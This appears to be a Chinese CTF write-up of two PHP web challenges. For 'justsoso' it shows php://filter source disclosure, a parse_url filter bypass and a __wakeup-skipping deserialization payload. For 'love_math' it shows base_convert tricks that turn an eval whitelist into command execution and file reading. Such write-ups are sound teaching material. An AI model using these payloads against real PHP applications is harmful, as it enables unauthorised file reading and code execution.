0%

ciscnctf writeup

justsoso

题目描述不清楚了,就贴一下源码

利用php://filter/read/convert.base64-encode/resource=伪协议读取源码

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

hint.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php  
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}

代码审计

  • parse_urlurl解析函数,有个trick可以使url解析返回的数组之间键值对出现偏差绕过foreach内的正则匹配

  • __wakeup()方法的绕过,利用反序列化当成员属性数目大于实际数目时可绕过

  • 因为平台有资源分配的限制,不允许有大范围的爆破行为,对于随机数md5的脚本爆破行不通,这里可以用list函数即把多个对象形成数组进行爆破

payload:

1
2
3
4
5
6
7
8
9
10
11
12
$arr = [];
for($i =0 ;$i < 10; $i++)
{
$pa1 = new Flag("flag.php");
$pay = new Handle($pa1);
array_push($arr,$pay);
}

#print_r(serialize($arr));
$str = urlencode(serialize($arr));
$str = str_replace("%22Handle%22%3A1%3A","%22Handle%22%3A4%3A",$str);
echo $str.PHP_EOL;

love_math

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
  • 第一个正则,用了/m,但是把\n \r等过滤了,绕不过
  • preg_match_all严格过滤
  • 根据以上两点以及源码,只能使用数学函数进行

这里面有个进制转化函数可以进行命令执行—base_convert,但是有长度限制,这里就比较拼对php的属性度了,这道题利用了file函数以及readdir

payload:

1
2
3
file(readdir(.){n}){n}

base_convert(723938,10,36)(base_convert(61693386291,10,36)((0...1){2}){3}){1}

参考

https://xz.aliyun.com/t/4904#toc-3